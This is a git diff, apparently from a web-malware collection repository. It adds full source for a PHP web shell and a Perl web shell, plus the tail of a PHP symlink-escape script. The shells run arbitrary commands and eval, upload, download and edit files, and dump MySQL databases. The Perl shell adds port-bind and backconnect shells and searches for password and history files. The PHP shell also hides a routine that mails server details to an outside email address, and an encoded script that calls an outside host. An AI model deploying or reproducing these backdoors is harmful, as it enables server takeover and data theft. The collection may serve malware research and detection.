chdir(".."); + +@rmdir("fakesymlink"); +@unlink("fakesymlink"); + +@symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink"); + +while(1) + if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break; + else $num++; + +@unlink("fakesymlink"); +mkdir("fakesymlink"); + +die('<FONT COLOR="RED">check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>'); + +?> +</td></tr> +</table> +</TABLE> + +</body></html><?php chdir($lastdir); capriv8exit(); +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/zacosmall.txt b/web-malware-collection-master/Backdoors/PHP/zacosmall.txt new file mode 100755 index 0000000..274a640 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/zacosmall.txt @@ -0,0 +1,502 @@ +<? + ########################################################## + # Small PHP Web Shell by ZaCo (c) 2004-2006 # + # +POST method # + # +MySQL Client+Dumper for DB and tables # + # +PHP eval in text format and html for phpinfo() example # + # PREVED: sn0w, Zadoxlik, Rebz, SkvoznoY, PinkPanther # + # For antichat.ru and cup.su friends usage # + # All bugs -> mailo:zaco@yandex.ru # + # Just for fun :) # + ########################################################## +error_reporting(E_ALL); +@set_time_limit(0); +function magic_q($s) +{ +if(get_magic_quotes_gpc()) +{ +$s=str_replace('\\\'','\'',$s); +$s=str_replace('\\\\','\\',$s); +$s=str_replace('\\"','"',$s); +$s=str_replace('\\\0','\0',$s); +} +return $s; +}$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); +function get_perms($fn) +{ +$mode=fileperms($fn); +$perms=''; +$perms .= ($mode & 00400) ? 'r' : '-'; +$perms .= ($mode & 00200) ? 'w' : '-'; +$perms .= ($mode & 00100) ? 'x' : '-'; +$perms .= ($mode & 00040) ? 'r' : '-'; +$perms .= ($mode & 00020) ? 'w' : '-'; +$perms .= ($mode & 00010) ? 'x' : '-'; +$perms .= ($mode & 00004) ? 'r' : '-'; +$perms .= ($mode & 00002) ? 'w' : '-'; +$perms .= ($mode & 00001) ? 'x' : '-'; +return $perms; +} +$head=<<<headka +<html> +<head> +<title>Small Web Shell by ZaCo</title> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> +</head> +<body link=palegreen vlink=palegreen text=palegreen bgcolor=#2B2F34> +<style> +textarea { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: Fixedsys bold; +} +input { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +} +</style> +headka; +$page=isset($_POST['page'])?$_POST['page']:(isset($_SERVER['QUERY_STRING'])?$_SERVER['QUERY_STRING']:''); +$page=$page==''||($page!='cmd'&&$page!='mysql'&&$page!='eval')?'cmd':$page; +$winda=strpos(strtolower(php_uname()),'wind'); +define('format',50); +$pages='<center>###<a href=\''.basename(__FILE__).'\'>cmd</a>###<a href=\''.basename(__FILE__).'?mysql\'>mysql</a>###<a href=\''.basename(__FILE__).'?eval\'>eval</a>###</center>'.($winda===false?'id :'.`id`:''); +switch($page) +{ +case 'eval': +{ +$eval_value=isset($_POST['eval_value'])?$_POST['eval_value']:''; +$eval_value=magic_q($eval_value); +$action=isset($_POST['action'])?$_POST['action']:'eval'; +if($action=='eval_in_html') @eval($eval_value); +else +{ +echo($head.$pages); +?> +<hr> +<form method=post> +<textarea cols=120 rows=20 name='eval_value'><?@eval($eval_value);?></textarea> +<input name='action' value='eval' type='submit'> +<input name='action' value='eval_in_html' type='submit'> +<input name='page' value='eval' type=hidden> +</form> +<hr> +<? +} +break; +} +case 'cmd': +{ +$cmd=!empty($_POST['cmd'])?magic_q($_POST['cmd']):''; +$work_dir=isset($_POST['work_dir'])?$_POST['work_dir']:getcwd(); +$action=isset($_POST['action'])?$_POST['action']:'cmd'; +if(@is_dir($work_dir)) +{ +@chdir($work_dir); +$work_dir=getcwd(); +if($work_dir=='')$work_dir='/'; +else if(!($work_dir{strlen($work_dir)-1}=='/'||$work_dir{strlen($work_dir)-1}=='\\')) $work_dir.='/'; +} +else if(file_exists($work_dir))$work_dir=realpath($work_dir); +$work_dir=str_replace('\\','/',$work_dir); +$e_work_dir=htmlspecialchars($work_dir,ENT_QUOTES); +switch($action) +{ +case 'cmd' : +{ +echo($head.$pages); +?> +<form method='post' name='main_form'> +<input name='work_dir' value='<?=$e_work_dir?>' type=text size=120> +<input name='page' value='cmd' type=hidden> +<input type=submit value='go'> +</form> +<form method=post> +<input name='cmd' type=text size=120 value='<?=str_replace('\'','&#039;',$cmd)?>'> +<input name='work_dir'type=hidden> +<input name='page' value='cmd' type=hidden> +<input name='action' value='cmd' type=submit onclick="work_dir.value=document.main_form.work_dir.value;"> +</form> +<form method=post enctype="multipart/form-data"> +<input type="file" name="filename"> +<input name='work_dir'type=hidden> +<input name='page' value='cmd' type=hidden> +<input name='action' value='upload' type=submit onclick="work_dir.value=document.main_form.work_dir.value;"> +</form> +<form method=post> +<input name='fname' type=text size=120><br> +<input name='archive' type=radio value='none'>without arch +<input name='archive' type=radio value='gzip' checked=true>gzip archive +<input name='work_dir'type=hidden> +<input name='page' value='cmd' type=hidden> +<input name='action' value='download' type=submit onclick="work_dir.value=document.main_form.work_dir.value;"> +</form> +<pre> +<? +if($cmd!==''){ echo('<strong>'.htmlspecialchars($cmd)."</strong><hr>\n<textarea cols=120 rows=20>\n".htmlspecialchars(`$cmd`)."\n</textarea>");} +else +{ +$f_action=isset($_POST['f_action'])?$_POST['f_action']:'view'; +if(@is_dir($work_dir)) +{ +echo('<strong>Listing '.$e_work_dir.'</strong><hr>'); +$handle=@opendir($work_dir); +if($handle) +{ +while(false!==($fn=readdir($handle))){$files[]=$fn;}; +@closedir($handle); +sort($files); +$not_dirs=array(); +for($i=0;$i<sizeof($files);$i++) +{ +$fn=$files[$i]; +if(is_dir($fn)) +{ +echo('<a href=\'#\' onclick=\'document.list.work_dir.value="'.$e_work_dir.str_replace('"','&quot;',$fn).'";document.list.submit();\'><b>'.htmlspecialchars(strlen($fn)>format?substr($fn,0,format-3).'...':$fn).'</b></a>'.str_repeat(' ',format-strlen($fn))); +if($winda===false) +{ +$owner=@posix_getpwuid(@fileowner($work_dir.$fn)); +$group=@posix_getgrgid(@filegroup($work_dir.$fn)); +printf("% 20s|% -20s",$owner['name'],$group['name']); +} +echo(@get_perms($work_dir.$fn).str_repeat(' ',10)); +printf("% 20s ",@filesize($work_dir.$fn).'B'); +printf("% -20s",@date('M d Y H:i:s',@filemtime($work_dir.$fn))."\n"); +} +else {$not_dirs[]=$fn;} +} +for($i=0;$i<sizeof($not_dirs);$i++) +{ +$fn=$not_dirs[$i]; +echo('<a href=\'#\' onclick=\'document.list.work_dir.value="'.(is_link($work_dir.$fn)?$e_work_dir.readlink($work_dir.$fn):$e_work_dir.str_replace('"','&quot;',$fn)).'";document.list.submit();\'>'.htmlspecialchars(strlen($fn)>format?substr($fn,0,format-3).'...':$fn).'</a>'.str_repeat(' ',format-strlen($fn))); +if($winda===false) +{ +$owner=@posix_getpwuid(@fileowner($work_dir.$fn)); +$group=@posix_getgrgid(@filegroup($work_dir.$fn)); +printf("% 20s|% -20s",$owner['name'],$group['name']); +} +echo(@get_perms($work_dir.$fn).str_repeat(' ',10)); +printf("% 20s ",@filesize($work_dir.$fn).'B'); +printf("% -20s",@date('M d Y H:i:s',@filemtime($work_dir.$fn))."\n"); +} +echo('</pre><hr>'); +?> +<form name='list' method=post> +<input name='work_dir' type=hidden size=120><br> +<input name='page' value='cmd' type=hidden> +<input name='f_action' value='view' type=hidden> +</form> +<? +} else echo('Error Listing '.$e_work_dir); +} +else +switch($f_action) +{ +case 'view': +{ +echo('<strong>'.$e_work_dir." Edit</strong><hr><pre>\n"); +$f=@fopen($work_dir,'r'); +?> +<form method=post> +<textarea name='file_text' cols=120 rows=20><?if(!($f))echo($e_work_dir.' not exists');else while(!feof($f))echo htmlspecialchars(fread($f,100000))?></textarea> +<input name='page' value='cmd' type=hidden> +<input name='work_dir' type=hidden value='<?=$e_work_dir?>' size=120> +<input name='f_action' value='save' type=submit> +</form> +<? +break; +} +case 'save' : +{ +$file_text=isset($_POST['file_text'])?magic_q($_POST['file_text']):''; +$f=@fopen($work_dir,'w'); +if(!($f))echo('<strong>Error '.$e_work_dir."</strong><hr><pre>\n"); +else +{ +fwrite($f,$file_text); +fclose($f); +echo('<strong>'.$e_work_dir." is saving</strong><hr><pre>\n"); +} +break; +} +} +break; +} +break; +} +case 'upload' : +{ +if($work_dir=='')$work_dir='/'; +else if(!($work_dir{strlen($work_dir)-1}=='/'||$work_dir{strlen($work_dir)-1}=='\\')) $work_dir.='/'; +$f=$_FILES["filename"]["name"]; +if(!@copy($_FILES["filename"]["tmp_name"], $work_dir.$f)) echo('Upload is failed'); +else +{ +echo('file is uploaded in '.$e_work_dir); +} +break; +} +case 'download' : +{ +$fname=isset($_POST['fname'])?$_POST['fname']:''; +$temp_file=isset($_POST['temp_file'])?'on':'nn'; +$f=@fopen($fname,'r'); +if(!($f)) echo('file is not exists'); +else +{ +$archive=isset($_POST['archive'])?$_POST['archive']:''; +if($archive=='gzip') +{ +Header("Content-Type:application/x-gzip\n"); +$s=gzencode(fread($f,filesize($fname))); +Header('Content-Length: '.strlen($s)."\n"); +Header('Content-Disposition: attachment; filename="'.str_replace('/','-',$fname).".gz\n\n"); +echo($s); +} +else +{ +Header("Content-Type:application/octet-stream\n"); +Header('Content-Length: '.filesize($fname)."\n"); +Header('Content-Disposition: attachment; filename="'.str_replace('/','-',$fname)."\n\n"); +ob_start(); +while(feof($f)===false) +{ +echo(fread($f,10000)); +ob_flush(); +} +} +} +} +} +break; +} +case 'mysql' : +{ +$action=isset($_POST['action'])?$_POST['action']:'query'; +$user=isset($_POST['user'])?$_POST['user']:''; +$passwd=isset($_POST['passwd'])?$_POST['passwd']:''; +$db=isset($_POST['db'])?$_POST['db']:''; +$host=isset($_POST['host'])?$_POST['host']:'localhost'; +$query=isset($_POST['query'])?magic_q($_POST['query']):''; +switch($action) +{ +case 'dump' : +{ +$mysql_link=@mysql_connect($host,$user,$passwd); +if(!($mysql_link)) echo('Connect error'); +else +{ +//@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols +$to_file=isset($_POST['to_file'])?($_POST['to_file']==''?false:$_POST['to_file']):false; +$archive=isset($_POST['archive'])?$_POST['archive']:'none'; +if($archive!=='none')$to_file=false; +$db_dump=isset($_POST['db_dump'])?$_POST['db_dump']:''; +$table_dump=isset($_POST['table_dump'])?$_POST['table_dump']:''; +if(!(@mysql_select_db($db_dump,$mysql_link)))echo('DB error'); +else +{ +$dump_file="#ZaCo MySQL Dumper\n#db $db from $host\n"; +ob_start(); +if($to_file){$t_f=@fopen($to_file,'w');if(!$t_f)die('Cant opening '.$to_file);}else $t_f=false; +if($table_dump=='') +{ +if(!$to_file) +{ +header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n"); +header("Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n"); +} +$result=mysql_query('show tables',$mysql_link); +for($i=0;$i<mysql_num_rows($result);$i++) +{ +$rows=mysql_fetch_array($result); +$result2=@mysql_query('show columns from `'.$rows[0].'`',$mysql_link); +if(!$result2)$dump_file.='#error table '.$rows[0]; +else +{ +$dump_file.='create table `'.$rows[0]."`(\n"; +for($j=0;$j<mysql_num_rows($result2)-1;$j++) +{ +$rows2=mysql_fetch_array($result2); +$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL').",\n"; +} +$rows2=mysql_fetch_array($result2); +$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL')."\n"; +$type[$j]=$rows2[1]; +$dump_file.=");\n"; +mysql_free_result($result2); +$result2=mysql_query('select * from `'.$rows[0].'`',$mysql_link); +$columns=$j-1; +for($j=0;$j<mysql_num_rows($result2);$j++) +{ +$rows2=mysql_fetch_array($result2); +$dump_file.='insert into `'.$rows[0].'` values ('; +for($k=0;$k<$columns;$k++) +{ +$dump_file.=$rows2[$k]==''?'null,':'\''.addslashes($rows2[$k]).'\','; +} +$dump_file.=($rows2[$k]==''?'null);':'\''.addslashes($rows2[$k]).'\');')."\n"; +if($archive=='none') +{ +if($to_file) {fwrite($t_f,$dump_file);fflush($t_f);} +else +{ +echo($dump_file); +ob_flush(); +} +$dump_file=''; +} +} +mysql_free_result($result2); +} +} +mysql_free_result($result); +if($archive!='none') +{ +$dump_file=gzencode($dump_file); +header('Content-Length: '.strlen($dump_file)."\n"); +echo($dump_file); +} +else if($t_f) +{ +fclose($t_f); +echo('Dump for '.$db_dump.' now in '.$to_file); +} +} +else +{ +$result2=@mysql_query('show columns from `'.$table_dump.'`',$mysql_link); +if(!$result2)echo('error table '.$table_dump); +else +{ +if(!$to_file) +{ +header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n"); +header("Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n"); +} +if($to_file===false) +{ +header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n"); +header("Content-Disposition: attachment; filename=\"dump_{$db_dump}_${table_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n"); +} +$dump_file.="create table `{$table_dump}`(\n"; +for($j=0;$j<mysql_num_rows($result2)-1;$j++) +{ +$rows2=mysql_fetch_array($result2); +$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL').",\n"; +} +$rows2=mysql_fetch_array($result2); +$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL')."\n"; +$type[$j]=$rows2[1]; +$dump_file.=");\n"; +mysql_free_result($result2); +$result2=mysql_query('select * from `'.$table_dump.'`',$mysql_link); +$columns=$j-1; +for($j=0;$j<mysql_num_rows($result2);$j++) +{ +$rows2=mysql_fetch_array($result2); +$dump_file.='insert into `'.$table_dump.'` values ('; +for($k=0;$k<$columns;$k++) +{ +$dump_file.=$rows2[$k]==''?'null,':'\''.addslashes($rows2[$k]).'\','; +} +$dump_file.=($rows2[$k]==''?'null);':'\''.addslashes($rows2[$k]).'\');')."\n"; +if($archive=='none') +{ +if($to_file) {fwrite($t_f,$dump_file);fflush($t_f);} +else +{ +echo($dump_file); +ob_flush(); +} +$dump_file=''; +} +} +mysql_free_result($result2); +if($archive!='none') +{ +$dump_file=gzencode($dump_file); +header('Content-Length: '.strlen($dump_file)."\n"); +echo $dump_file; +}else if($t_f) +{ +fclose($t_f); +echo('Dump for '.$db_dump.' now in '.$to_file); +} +} +} +} +} +break; +} +case 'query' : +{ +echo($head.$pages); +?> +<hr> +<form method=post> +<table> +<td> +<table align=left> +<tr><td>User :<input name='user' type=text value='<?=$user?>'></td><td>Passwd :<input name='passwd' type=text value='<?=$passwd?>'></td><td>Host :<input name='host' type=text value='<?=$host?>'></td><td>DB :<input name='db' type=text value='<?=$db?>'></td></tr> +<tr><textarea name='query' cols=120 rows=20><?=htmlspecialchars($query)?></textarea></tr> +</table> +</td> +<td> +<table> +<tr><td>DB :</td><td><input type=text name='db_dump' value='<?=$db?>'></td></tr> +<tr><td>Only Table :</td><td><input type=text name='table_dump'></td></tr> +<input name='archive' type=radio value='none'>without arch +<input name='archive' type=radio value='gzip' checked=true>gzip archive +<tr><td><input type=submit name='action' value='dump'></td></tr> +<tr><td>Save result to :</td><td><input type=text name='to_file' value='' size=23></td></tr> +</table> +</td> +</table> +<input name='page' value='mysql' type=hidden> +<input name='action' value='query' type=submit> +</form> +<hr> +<? +$mysql_link=@mysql_connect($host,$user,$passwd); +if(!($mysql_link)) echo('Connect error'); +else +{ +if($db!='')if(!(@mysql_select_db($db,$mysql_link))){echo('DB error');mysql_close($mysql_link);break;} +//@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols +$result=@mysql_query($query,$mysql_link); +if(!($result))echo(mysql_error()); +else +{ +echo("<table valign=top align=left>\n<tr>"); +for($i=0;$i<mysql_num_fields($result);$i++) +echo('<td><b>'.htmlspecialchars(mysql_field_name($result,$i)).'</b> </td>'); +echo("\n</tr>\n"); +for($i=0;$i<mysql_num_rows($result);$i++) +{ +$rows=mysql_fetch_array($result); +echo('<tr valign=top align=left>'); +for($j=0;$j<mysql_num_fields($result);$j++) +{ +echo('<td>'.(htmlspecialchars($rows[$j])).'</td>'); +} +echo("</tr>\n"); +} +echo("</table>\n"); +} +mysql_close($mysql_link); +} +break; +} +} +break; +} +} +?> +<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> diff --git a/web-malware-collection-master/Backdoors/PL/Perl Web Shell by RST-GHC.pl b/web-malware-collection-master/Backdoors/PL/Perl Web Shell by RST-GHC.pl new file mode 100755 index 0000000..e6f7c41 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PL/Perl Web Shell by RST-GHC.pl @@ -0,0 +1,663 @@ +#!/usr/bin/perl + +## pws.pl - Perl Web Shell by RST/GHC +## ------------------------------------- +## ??????? ???????: +## ~~~~~~~~~~~~~~~~ +## - ?????????? ???????????? ?????? ?? ??????? (+ ?????? ??????) +## - ???????? ?????? ?? ?????? ? ?????????? ?????????? ???????????? +## - ???????? ?????? ?? ?????? ? ?????????? ??????? +## - ?????????? ???????????? ?????? ? ??????? +## - ???????? ? ?????????????? ?????? ?? ??????? +## - port bind +## - backconnect +## +## ??????????? ???????: +## ~~~~~~~~~~~~~~~~~~~~ +## - ???????? ??? ?? unix ??? ? ?? windows ?????????? +## - ??? ?????? ???????? ????? POST ??????? +## +## ?????????: +## ~~~~~~~~~~ +## 1. ???????? ?????? ????? ??????? "/usr/bin/perl" ?? ?????????? ???? ? ?????????????? ????? +## ?? ????? ???????. +## 2. ?????????? ?????? ??? ??????? ? ??????? ? ?????? ???????? (?????? CONFIG). +## 3. ? ?????? ???? ?????? ???????? ??? ??????????? WINDOWS ?? ?????????? $unix = 0 ? ?????? +## ???????? ??????? (?????? CONFIG). +## 4. ????????? ???? ?? ?????? ? ????? ??????????? ?????? cgi-????????, ?????? cgi-bin. +## ???????? ?????? ???????????? ? ASCII ??????. +## 5. ??????? ????? ?? ?????? (chmod 755). +## 6. ???????? ?????? ? ???????? ? ?????????????. +## ------------------------------------- +## (c)oded by 1dt.w0lf +## RST/GHC +## Astalavista-UnderGround!!! +## +use IO::Socket; + +############### CONFIG +$auth = 1; # ??????????? (1 - ????????, 0 - ?????????) +$password = 'r57'; # ?????? ??? ??????? ? ??????? +$unix = 1; # ??? WINDOWS ??????? ?? $unix = 0 +# ?????? ?????? ?? ??????? ? ???????, ???? ?? ??????? ? ???, ??? ???????. +$version = '1.0 (13.05.2005)'; +$pwd = ($unix)?('pwd'):('cd'); +$cmd_sep = '&&'; +$def_cmd = ($unix)?('ls -la'):('dir'); +$path_sep = ($unix)?('/'):('\\'); +$error = 0; +############### TEXT +@lang = ( +'<b><font color=red>?????????? ?????? ?? ???????</font></b><br>', +'<b>???????:</b>', +'<b>??????????:</b>', +'<b><font color=red>?????? ??????</font></b><br>', +'<b>?????:</b>', +'?????????', +'<b>??????????? ???????:</b>', +' ??????? ', +'<b><font color=red>???????? ????? ? ?????????? ??????????</font></b><br>', +'<b>????:</b>', +'?????????', +'<b><font color=red>???????? ????? c ?????????? ???????</font></b><br>', +'<b><font color=red>????????/?????????????? ?????</font></b><br>', +'????????', +'<b>?????????????? ?????:</b>', +'<b>???????? ?????:</b>', +'?????????', +'<b><font color=red>?????????? ?????</font></b><br>', +' ??????? ', +'<b><font color=red>Bind port</font></b><br>', +'<b>Port:</b>', +'BIND', +'<b><font color=red>Backconnect</font></b><br>', +'<b>IP:</b>', +'CONNECT', +'<b><font color=red>??????? ??????</font></b><br>', +'?????' +); +############### HTML +$d1 = '<div align=center>'; +$d2 = '</div>'; +$t1 = '<table width=100%>'; +$t2 = '</table>'; +$td1 = '<td width=50%>'; +$f = '</form>'; +$tr1 = '<tr><td>'; +$tr2 = '</td></tr>'; +$j1 = q{[ <font face=tahoma>2005 (c) <b>RST/GHC</b> <a href="http://rst.void.ru" target=_blank>http://rst.void.ru</a> , <a href="http://ghc.ru" target=_blank>http://ghc.ru</a></font> ]}; +$j2 = q{<script language="javascript">hotlog_js="1.0";hotlog_r=""+Math.random()+"&s=81606&im=1&r="+escape(document.referrer)+"&pg="+escape(window.location.href);document.cookie="hotlog=1; path=/"; hotlog_r+="&c="+(document.cookie?"Y":"N");</script> +<script language="javascript1.1">hotlog_js="1.1";hotlog_r+="&j="+(navigator.javaEnabled()?"Y":"N")</script><script language="javascript1.2">hotlog_js="1.2";hotlog_r+="&wh="+screen.width+'x'+screen.height+"&px="+(((navigator.appName.substring(0,3)=="Mic"))?screen.colorDepth:screen.pixelDepth)</script> +<script language="javascript1.3">hotlog_js="1.3"</script><script language="javascript">hotlog_r+="&js="+hotlog_js;document.write("<a href='http://click.hotlog.ru/?81606' target='_top'><img "+" src='http://hit4.hotlog.ru/cgi-bin/hotlog/count?"+hotlog_r+"&' border=0 width=1 height=1 alt=1></a>")</script> +<noscript><a href=http://click.hotlog.ru/?81606 target=_top><imgsrc="http://hit4.hotlog.ru/cgi-bin/hotlog/count?s=81606&im=1" border=0 width="0" height="0" alt=""></a></noscript> +<!--LiveInternet counter--><script language="JavaScript"><!-- +document.write('<a href="http://www.liveinternet.ru/click" '+ +'target=_blank><img src="http://counter.yadro.ru/hit?t52.6;r'+ +escape(document.referrer)+((typeof(screen)=='undefined')?'': +';s'+screen.width+'*'+screen.height+'*'+(screen.colorDepth? +screen.colorDepth:screen.pixelDepth))+';'+Math.random()+ +'" alt="" '+'border=0 width=0 height=0></a>')//--></script> +<!--/LiveInternet-->}; +############### ALIASES +%alias = ( +'find suid files' => 'find / -type f -perm -04000 -ls', +'find suid files in current dir' => 'find . -type f -perm -04000 -ls', +'find sgid files' => 'find / -type f -perm -02000 -ls', +'find sgid files in current dir' => 'find . -type f -perm -02000 -ls', +'find config.inc.php files' => 'find / -type f -name config.inc.php', +'find config.inc.php files in current dir' => 'find . -type f -name config.inc.php', +'find config* files' => 'find / -type f -name "config*"', +'find config* files in current dir' => 'find . -type f -name "config*"', +'find all writable files' => 'find / -type f -perm -2 -ls', +'find all writable files in current dir' => 'find . -type f -perm -2 -ls', +'find all writable directories' => 'find / -type d -perm -2 -ls', +'find all writable directories in current dir' => 'find . -type d -perm -2 -ls', +'find all writable directories and files' => 'find / -perm -2 -ls', +'find all writable directories and files in current dir' => 'find . -perm -2 -ls', +'find all service.pwd files' => 'find / -type f -name service.pwd', +'find service.pwd files in current dir' => 'find . -type f -name service.pwd', +'find all .htpasswd files' => 'find / -type f -name .htpasswd', +'find .htpasswd files in current dir' => 'find . -type f -name .htpasswd', +'find all .bash_history files' => 'find / -type f -name .bash_history', +'find .bash_history files in current dir' => 'find . -type f -name .bash_history', +'find all .fetchmailrc files' => 'find / -type f -name .fetchmailrc', +'find .fetchmailrc files in current dir' => 'find . -type f -name .fetchmailrc', +'list file attributes' => 'lsattr -va', +'show opened ports' => 'netstat -an | grep -i listen' +); +############### GET INFO +($script_name = $ENV{'SCRIPT_NAME'}) =~ s!(?:.*)(?:/)([^/]*)!$1!; +($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)?(&get_file($1)):(&get_val()); +############### AUTH +if($auth) + { + &cook(); + if($FORM{PASS} eq $password) { print "Set-Cookie: PASS=".cry($FORM{PASS}).";\nContent-type: text/html\n\n<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$script_name\">"; exit(); } + if(!$COOK{PASS}||($COOK{PASS} ne cry($password))) { &form_login; exit(); } + } +############### ACTIONS +$cur_dir = `$pwd`; +if(defined$FORM{DIR}) { $cur_dir = $FORM{DIR}; } +chomp($cur_dir); + +if(!defined$FORM{ACTION}) { $FORM{ACTION} = 'CMD'; } + +if($FORM{ACTION} eq 'ALIAS'){ $FORM{CMD} = $alias{$FORM{ALIAS}}; } + +elsif($FORM{ACTION} eq 'UPLOAD') + { + $filename = $cur_dir; + chop($filename) if ($filename =~ m/[\\\/]$/); + $FILE{f} =~ s!(?:.*)(?:[\\/])([^/\\]*)$!$1!; + $filename .= $path_sep; + $filename .= $FILE{f}; + if(open(UF, ">$filename")) + { + binmode(UF) if !$unix; + print UF $FILE{filedata}; + close(UF); + } + else { $error = "??????! ?? ???? ??????? ???? <font color=black>$filename</font>"; } + } + +elsif($FORM{ACTION} eq 'RUPLOAD') + { + if($FORM{FILE} =~ m!^(?:http:\/\/)([^\/]*)(\/.*)$!) + { + $server = $1; + $path = $2; + $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80"); + if($sock) + { + print $sock "GET $path HTTP/1.0\nHost: $server\n\n"; + $r = 0; $a = 0; + foreach $l(<$sock>) + { + if($l =~ /200 OK/) { $a = 200; } + push(@rf,$l) if $r; + if($l =~ /^\s$/ && $a == 200) { $r = 1; } + } + if($a != 200) { $error = "??????! ???? <font color=black>$path</font> ?? ?????? ?? ??????? <font color=black>$server</font>"; } + } + else { $error = "??????! ?? ???? ??????????? ? <font color=black>$server</font>"; } + if(!$error) + { + $filename = $cur_dir; + chop($filename) if ($filename =~ m/[\\\/]$/); + $path =~ s!(?:.*)(?:[\\/])([^/\\]*)$!$1!; + $filename .= $path_sep; + $filename .= $path; + if(open(WF,">$filename")) + { + binmode(WF) if !$unix; + foreach(@rf) { print WF $_; } + close(WF); + } + else { $error = "??????! ?? ???? ??????? ???? <font color=black>$filename</font>"; } + } + } + } +elsif($FORM{ACTION} eq 'VIEW') + { + if(open(VF,">>",$FORM{EFILE})) { $readonly = 0; close(VF);} + elsif(open(VF,$FORM{EFILE})) { $readonly = 1; close(VF);} + else { $error = "??????! ?? ???? ??????? ???? <font color=black>$FORM{EFILE}</font>"; } + if(!$error) + { + open(VF,$FORM{EFILE}); + while(<VF>) { push(@cmd_report,$_); } + close(VF); + } + } +elsif($FORM{ACTION} eq 'SAVE') + { + if(open(SF,">",$FORM{SFILE})) + { + binmode(SF) if !$unix; + foreach(@FORM{REPORT}) { print SF $_; } + close(SF); + } + else { $error = "??????! ?? ???? ????????? ???? <font color=black>$FORM{SFILE}</font>"; } + } +elsif($FORM{ACTION} eq 'DOWNLOAD') + { + if(open(DF,$FORM{DFILE})) + { + if(!$unix) { binmode(DF); binmode(STDOUT); } + $size = (stat($FORM{DFILE}))[7]; + ($filename = $FORM{DFILE}) =~ m!([^/^\\]*)$!; + print "Content-Type: application/x-unknown\n"; + print "Content-Length: $size\n"; + print "Content-Disposition: attachment; filename=$filename\n\n"; + print while(<DF>); + close(DF); + die(); + } + else { $error = "??????! ?? ???? ??????? ???? <font color=black>$FORM{DFILE}</font>"; } + } +elsif($FORM{ACTION} eq 'BIND') + { + print "Content-type: text/html\n\n"; + &link(); + &port_bind($FORM{PORT}); + exit; + } +elsif($FORM{ACTION} eq 'BACK') + { + print "Content-type: text/html\n\n"; + &link(); + &back($FORM{IP},$FORM{PORT}); + exit; + } + + +if(!defined$FORM{CMD}){ $FORM{CMD} = $def_cmd; } + +if(($FORM{ACTION} ne 'VIEW')||$error){ +open(FH, "cd $cur_dir$cmd_sep$FORM{CMD}|"); +@cmd_report = <FH>; +close (FH); +} +############### START HTML +print "Content-type: text/html\n\n"; +print qq{<HTML><HEAD> +<title>$script_name - Perl Web Shell by RST/GHC</title> +<META http-equiv=Content-Type Pragma: no-cache; content=\"text/html; charset=windows-1251\"> +<style> + +BODY +{ +SCROLLBAR-FACE-COLOR: white; +SCROLLBAR-HIGHLIGHT-COLOR: black; +SCROLLBAR-SHADOW-COLOR: black; +SCROLLBAR-DARKSHADOW-COLOR: black; +SCROLLBAR-3DLIGHT-COLOR: black; +SCROLLBAR-ARROW-COLOR: black; +SCROLLBAR-TRACK-COLOR: white; +} + +tr { +BORDER-RIGHT: #000000 1px solid; +BORDER-TOP: #000000 1px solid; +BORDER-LEFT: #000000 1px solid; +BORDER-BOTTOM: 